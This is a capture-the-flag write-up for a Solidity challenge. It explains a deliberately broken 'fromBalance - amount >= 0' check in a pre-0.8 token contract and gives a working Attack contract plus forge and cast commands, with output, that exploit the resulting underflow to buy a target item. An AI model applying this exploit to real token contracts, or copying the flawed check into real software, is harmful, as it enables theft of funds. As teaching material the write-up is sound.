Token to Wonderland - Blockchain
Challenge Overview
Token to Wonderland is a Web3/blockchain challenge built around a custom ERC20-style token (SilverCoin) and a Shop contract that sells items for that token. The narrative frame is a dwarf trader who “will only trade the key if you offer him something in return,” but the actual objective is defined purely on-chain by the Setup contract:

// SPDX-License-Identifier: UNLICENSED
pragma solidity ^0.7.0;
import {SilverCoin} from "./SilverCoin.sol";
import {Shop} from "./Shop.sol";
contract Setup {
Shop public immutable TARGET;
constructor(address _player) payable {
require(msg.value == 1 ether);
SilverCoin silverCoin = new SilverCoin();
silverCoin.transfer(_player, 100);
TARGET = new Shop(address(silverCoin));
}
function isSolved(address _player) public view returns (bool) {
(,, address ownerOfKey) = TARGET.viewItem(2);
return ownerOfKey == _player;
}
}
pragma solidity ^0.7.0;
import {SilverCoin} from "./SilverCoin.sol";
contract Shop {
struct Item {
string name;
uint256 price;
address owner;
}
Item[] public items;
SilverCoin silverCoin;
constructor(address _silverCoinAddress) {
silverCoin = SilverCoin(_silverCoinAddress);
items.push(Item("Diamond Necklace", 1_000_000, address(this)));
items.push(Item("Ancient Stone", 70_000, address(this)));
items.push(Item("Golden Key", 25_000_000, address(this)));
}
function buyItem(uint256 _index) public {
Item memory _item = items[_index];
require(_item.owner == address(this), "Item already sold");
bool success = silverCoin.transferFrom(msg.sender, address(this), _item.price);
require(success, "Payment failed!");
items[_index].owner = msg.sender;
}
function viewItem(uint256 _index) public view returns (string memory, uint256, address) {
return (items[_index].name, items[_index].price, items[_index].owner);
}
}
isSolved() checks that the owner of item index 2 (the “Golden Key”, priced at 25_000_000 SVC) is the player’s own address. The Setup only grants the player 100 SVC to start with, so the challenge boils down to finding a way to legitimately own a balance far beyond what was ever handed out.
Reconnaissance
Connection details
The instance provides an RPC endpoint, a player private key/address, the Shop target address, and the Setup address:

Auditing SilverCoin
SilverCoin is a hand-rolled ERC20-like token compiled under pragma solidity ^0.7.0, a version that predates Solidity 0.8’s built-in overflow/underflow checks on arithmetic. Under 0.7.x, +, -, and * silently wrap around on overflow/underflow using modular arithmetic (mod 2^256 for uint256), unless the code explicitly guards against it with a require.
The contract exposes two internal transfer paths that look nearly identical but diverge in one critical line:
function _transfer(address from, address to, uint256 amount) internal {
...
uint256 fromBalance = _balances[from];
require(fromBalance - amount >= 0, "ERC20: transfer amount exceeds balance");
_balances[from] = fromBalance - amount;
_balances[to] += amount;
...
}
function _transferFrom(address from, address to, uint256 amount) internal {
...
uint256 fromBalance = _balances[from];
require(fromBalance >= amount, "ERC20: transfer amount exceeds balance");
_balances[from] = fromBalance - amount;
_balances[to] += amount;
...
}
_transferFrom’s guard, require(fromBalance >= amount, ...), is the correct check. _transfer’s guard, require(fromBalance - amount >= 0, ...), is broken by construction: fromBalance - amount is computed as a uint256, and a uint256 can never hold a negative value. That means the expression fromBalance - amount >= 0 is a tautology, it evaluates to true for every possible fromBalance and amount, regardless of whether amount exceeds the caller’s real balance. The check compiles and looks like a safety guard, but it can never actually revert.
What the underflow really produces
Solidity < 0.8.0 does not clamp an out-of-range subtraction to zero or to the original value; it wraps around the full modulus, exactly like an odometer rolling past its maximum digit back to zero and continuing from there. For a uint256, any fromBalance - amount where amount > fromBalance resolves to:
(fromBalance - amount) mod 2^256
which is a value close to 2^256 - 1 (115792089237316195423570985008687907853269984665640564039457584007913129639935), not a small number. Calling SilverCoin.transfer(to, amount) with from == msg.sender and any amount larger than the caller’s balance therefore lets the caller’s own balance wrap into a huge number… but only if from and to are different addresses. If a caller tried to self-transfer (from == to), the subtraction and the addition would land on the exact same storage slot in sequence, netting out to no real change. Routing the transfer through a second, throwaway address avoids that cancellation: the wrapped, garbage balance lands on the sender, while the recipient receives a perfectly ordinary, valid addition to its balance.
Exploit Development
Locating the SilverCoin address
The instance only hands out the Shop address directly; SilverCoin’s address has to be recovered from it, since it is passed into Shop’s constructor and stored as a state variable:
Item[] public items;
SilverCoin silverCoin;
silverCoin has no public keyword, so Solidity does not auto-generate a getter for it, cast call against a silverCoin() selector fails. The value is still fully readable off-chain via direct storage inspection, since Solidity visibility keywords have no effect at the EVM storage level:
forge inspect Shop.sol storageLayout

items, a dynamic array, only occupies its declared slot (0) with its length; the actual elements live at a separately computed keccak256-derived location, which is why silverCoin lands cleanly at slot 1 right after it rather than somewhere further out. Reading that slot directly confirms the token address:
cast storage --rpc-url http://154.57.164.78:31578/rpc 0x4288f508A0e07251BC4A500B706376499C6c7932 1
0x000000000000000000000000ce31d70a6428c2b00d1dc24f47d7f8ddca215b2f
A minimal helper contract to trigger the underflow
Rather than trying to self-transfer, a small throwaway contract is deployed to act as the from address, so the wrapped/garbage balance lands on a disposable contract while the player’s own wallet receives a clean, large SilverCoin balance:
// SPDX-License-Identifier: UNLICENSED
pragma solidity ^0.7.0;
import {SilverCoin} from "./SilverCoin.sol";
contract Attack {
SilverCoin silverCoin;
constructor(address _silverCoinAddress) {
silverCoin = SilverCoin(_silverCoinAddress);
}
function _transfer(address to) external {
silverCoin.transfer(to, 250000000000);
}
}
When Attack calls silverCoin.transfer(to, 250000000000), SilverCoin resolves _msgSender() as Attack itself, so inside _transfer, from = Attack (starting balance 0) and to is whatever address is passed in. _balances[from] = fromBalance - amount wraps Attack’s balance into an enormous, irrelevant number, while _balances[to] += amount performs a completely ordinary addition, crediting the target address with 250,000,000,000 SVC, comfortably above the 25,000,000 needed for the Golden Key.
Why the rest of the attack cannot be automated into Attack
buyItem() is gated by transferFrom, not transfer, which pulls funds via an allowance:
function buyItem(uint256 _index) public {
Item memory _item = items[_index];
require(_item.owner == address(this), "Item already sold");
bool success = silverCoin.transferFrom(msg.sender, address(this), _item.price);
require(success, "Payment failed!");
items[_index].owner = msg.sender;
}
and transferFrom checks the allowance the token owner granted to the spender:
function _spendAllowance(address owner, address spender, uint256 amount) internal {
uint256 currentAllowance = allowance(owner, spender);
if (currentAllowance != type(uint256).max) {
require(currentAllowance >= amount, "ERC20: insufficient allowance");
_approve(owner, spender, currentAllowance - amount);
}
}
Two properties of msg.sender in the EVM make the remaining steps irreducible to a single helper-contract call:
approve()/increaseAllowance()set_allowances[msg.sender][spender]. If a helper contract called this, it would authorize spending from its own balance, not the player’s. The approval has to originate from the player’s own externally owned account (EOA).buyItem()setsitems[_index].owner = msg.sender. If a helper contract calledbuyItem, the item’s new owner would be the helper contract’s address, not the player’s, andSetup.isSolved()explicitly checks the item owner against the player’s own address.
There is no mechanism in Solidity, including delegatecall, that lets a contract-originated call present a different address as msg.sender than the address that actually issued the call. Since the transaction’s entry point matters, approve and buyItem must be sent directly from the player’s EOA in separate transactions; only the initial token-crediting step can be delegated to a helper contract.
Exploitation
Deploying the helper contract
forge create --rpc-url "http://154.57.164.78:31578/rpc" --private-key "0xc54b3e5171a8045349d8000d0dec4903588fe8fb57dde00aa415fb868f008b39" ./Attack.sol:Attack --broadcast --constructor-args 0xce31d70a6428c2b00d1dc24f47d7f8ddca215b2f
Deployer: 0x43689Fc05e8ef4007e58Cce77C2D7FE761F29208
Deployed to: 0xb25e3a3e6c4634FEC103280a9e2D140D3180da3d
Transaction hash: 0xebc01150f3e17800eedb01dab721703db2ff26cbb2ce6a307f0124756912da0c
Triggering the underflow
cast send --rpc-url "http://154.57.164.78:31578/rpc" --private-key "0xc54b3e5171a8045349d8000d0dec4903588fe8fb57dde00aa415fb868f008b39" 0xb25e3a3e6c4634FEC103280a9e2D140D3180da3d "_transfer(address)" 0x43689Fc05e8ef4007e58Cce77C2D7FE761F29208
status 1 (success)
transactionHash 0x0a4dc898a0c98ce66df884f3ba469eb6a8fac1ccacf0fc35c81cc13d4c48ddcf
Confirming the resulting balance:
cast call --rpc-url "http://154.57.164.78:31578/rpc" 0xce31d70a6428c2b00d1dc24f47d7f8ddca215b2f "balanceOf(address)(uint256)" 0x43689Fc05e8ef4007e58Cce77C2D7FE761F29208
250000000100 [2.5e11]
The player’s wallet now holds 250,000,000,100 SVC (the original 100 plus the 250,000,000,000 credited by the underflow), far more than the 25,000,000 required for the Golden Key.
Authorizing the Shop to spend on the player’s behalf
Since buyItem pulls funds via transferFrom, an allowance has to be granted from the player’s own EOA first:
cast send --rpc-url "http://154.57.164.78:31578/rpc" --private-key "0xc54b3e5171a8045349d8000d0dec4903588fe8fb57dde00aa415fb868f008b39" 0xce31d70a6428c2b00d1dc24f47d7f8ddca215b2f "approve(address,uint256)" 0x4288f508A0e07251BC4A500B706376499C6c7932 25000000
status 1 (success)
transactionHash 0x932da2faa7e0095fc0ee41442476a3407e5fb6c227c5654b1fea5fccd97725a6
Buying the Golden Key
cast send --rpc-url "http://154.57.164.78:31578/rpc" --private-key "0xc54b3e5171a8045349d8000d0dec4903588fe8fb57dde00aa415fb868f008b39" 0x4288f508A0e07251BC4A500B706376499C6c7932 "buyItem(uint256)" 2
status 1 (success)
transactionHash 0x751b39223f57a3666cf58a7b1982315c8567cbd7ed4e0fd976a5bb7c6ed8b4ab
The transaction succeeded, moving 25,000,000 SVC from the player to the Shop and setting items[2].owner to the player’s own address.
Confirming the solve
cast call --rpc-url "http://154.57.164.78:31578/rpc" 0x6E9026742F33d1bF226084A2E1F9F167318A2920 "isSolved(address)(bool)" 0x43689Fc05e8ef4007e58Cce77C2D7FE761F29208
true

Conclusion
Token to Wonderland is a classic pre-0.8.0 Solidity underflow, made subtle by the fact that the vulnerable check, require(fromBalance - amount >= 0, ...), reads as a legitimate balance guard at a glance but is a tautology once fromBalance - amount is evaluated as an unsigned integer. The second half of the challenge reinforces a separate but equally important lesson: msg.sender cannot be forged by routing calls through an intermediary contract, so any step that depends on the caller’s own identity, granting an allowance or claiming ownership of an asset, has to be executed directly from the player’s own EOA, no matter how much of the surrounding logic can be automated.
written by bara